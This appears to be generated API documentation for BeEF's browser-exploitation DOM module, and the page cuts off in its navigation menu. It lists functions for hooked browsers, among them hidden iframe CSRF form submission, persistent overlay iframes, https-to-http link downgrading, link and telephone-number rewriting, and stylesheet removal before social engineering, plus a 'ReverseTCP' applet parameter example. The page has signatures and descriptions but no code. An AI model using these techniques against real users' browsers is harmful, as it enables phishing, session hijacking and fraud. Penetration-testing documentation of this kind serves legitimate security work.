\n\n\n\n<div class=\"description\">\n    <p>Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>action:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the form action attribute, where the request will be sent.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>method:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>HTTP method, usually POST.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>enctype:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>form encoding type</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>inputs:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>an array of inputs to be added to the form (type, name, value).\nexample: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line448\">line 448</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createInvisibleIframe\"><span class=\"type-signature\">(static) </span>createInvisibleIframe<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {array}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Creates an invisible iframe on the hook browser's page.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line67\">line 67</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the iframe.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">array</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".detachApplet\"><span class=\"type-signature\">(static) </span>detachApplet<span class=\"signature\">(id:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Given an id, remove the applet from the DOM.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>id:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>reference identifier to the applet.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line436\">line 436</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".generateID\"><span class=\"type-signature\">(static) </span>generateID<span class=\"signature\">(prefix)</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Generates a random ID for HTML elements</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>prefix</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>a custom prefix before the random id. defaults to &quot;beef-&quot;</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line18\">line 18</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>generated id</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getHighestZindex\"><span class=\"type-signature\">(static) </span>getHighestZindex<span class=\"signature\">(whether)</span><span class=\"type-signature\"> &rarr; {Integer|Hash}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the highest current z-index</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>whether</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Boolean</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>to return an associative array with the height AND the ID of the element</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line86\">line 86</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n<ul>\n        <li>\n<div class=\"param-desc\">\n    <p>Highest z-index in the DOM\nOR</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Integer</span>\n\n\n    </dd>\n</dl>\n</li>\n    \n        <li>\n<div class=\"param-desc\">\n    <p>A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Hash</span>\n\n\n    </dd>\n</dl>\n</li>\n    </ul>\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getLinks\"><span class=\"type-signature\">(static) </span>getLinks<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get links of the current page.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line251\">line 251</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>array of URLs.</p>\n</div>\n\n\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getLocation\"><span class=\"type-signature\">(static) </span>getLocation<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get the location of the current page.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line243\">line 243</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the location.</p>\n</div>\n\n\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".grayOut\"><span class=\"type-signature\">(static) </span>grayOut<span class=\"signature\">(vis:, options:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Load a full screen div that is black, or, transparent</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>vis:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Boolean</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>whether or not you want the screen dimmer enabled or not</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>options:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Hash</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>a collection of options to customise how the div is configured, as follows:\nopacity:0-100         // Lower number = less grayout higher = more of a blackout\n// By default this is 70\nzindex: #             // HTML elements with a higher zindex appear on top of the gray out\n// By default this will use beef.dom.getHighestZindex to always go to the top\nbgcolor: (#xxxxxx)    // Standard RGB Hex color code\n// By default this is #000000</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line161\">line 161</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isDOMElement\"><span class=\"type-signature\">(static) </span>isDOMElement<span class=\"signature\">(the)</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Tests if the object is a DOM element.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>the</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>DOM element.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line59\">line 59</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true if the object is a DOM element.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".parseAppletParams\"><span class=\"type-signature\">(static) </span>parseAppletParams<span class=\"signature\">(an)</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>an</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line349\">line 349</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".persistentIframe\"><span class=\"type-signature\">(static) </span>persistentIframe<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Load the link (href value) in an overlay foreground iFrame.\nThe BeEF hook continues to run in background.\nNOTE: if the target link is returning X-Frame-Options deny/same-origin or uses\nFramebusting techniques, this will not work.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line137\">line 137</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".removeElement\"><span class=\"type-signature\">(static) </span>removeElement<span class=\"signature\">(el)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Removes element from the DOM.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>el</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the target element to be removed.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line44\">line 44</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".removeStylesheets\"><span class=\"type-signature\">(static) </span>removeStylesheets<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,\nor, re-writing a document this is useful.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line214\">line 214</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".rewriteLinks\"><span class=\"type-signature\">(static) </span>rewriteLinks<span class=\"signature\">(url:, selector:)</span><span class=\"type-signature\"> &rarr; {Number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Rewrites all links matched by selector to url, also rebinds the click method to simply return true</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>url:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the url to be rewritten</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>selector:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the jquery selector statement to use, defaults to all a tags.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line266\">line 266</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the amount of links found in the DOM and rewritten.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".rewriteLinksClickEvents\"><span class=\"type-signature\">(static) </span>rewriteLinksClickEvents<span class=\"signature\">(url:, selector:)</span><span class=\"type-signature\"> &rarr; {Number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.\nhttp://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>url:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the url to be rewritten</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>selector:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the jquery selector statement to use, defaults to all a tags.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line283\">line 283</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the amount of links found in the DOM and rewritten.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".rewriteLinksProtocol\"><span class=\"type-signature\">(static) </span>rewriteLinksProtocol<span class=\"signature\">(old_protocol:, new_protocol:, selector:)</span><span class=\"type-signature\"> &rarr; {Number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>old_protocol:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the old link protocol to be rewritten</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>new_protocol:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the new link protocol to be written</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>selector:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the jquery selector statement to use, defaults to all a tags.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line300\">line 300</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the amount of links found in the DOM and rewritten.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".rewriteTelLinks\"><span class=\"type-signature\">(static) </span>rewriteTelLinks<span class=\"signature\">(new_number:, selector:)</span><span class=\"type-signature\"> &rarr; {Number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>new_number:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the new link telephone number to be written</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>selector:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the jquery selector statement to use, defaults to all a tags.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line325\">line 325</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the amount of links found in the DOM and rewritten.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a 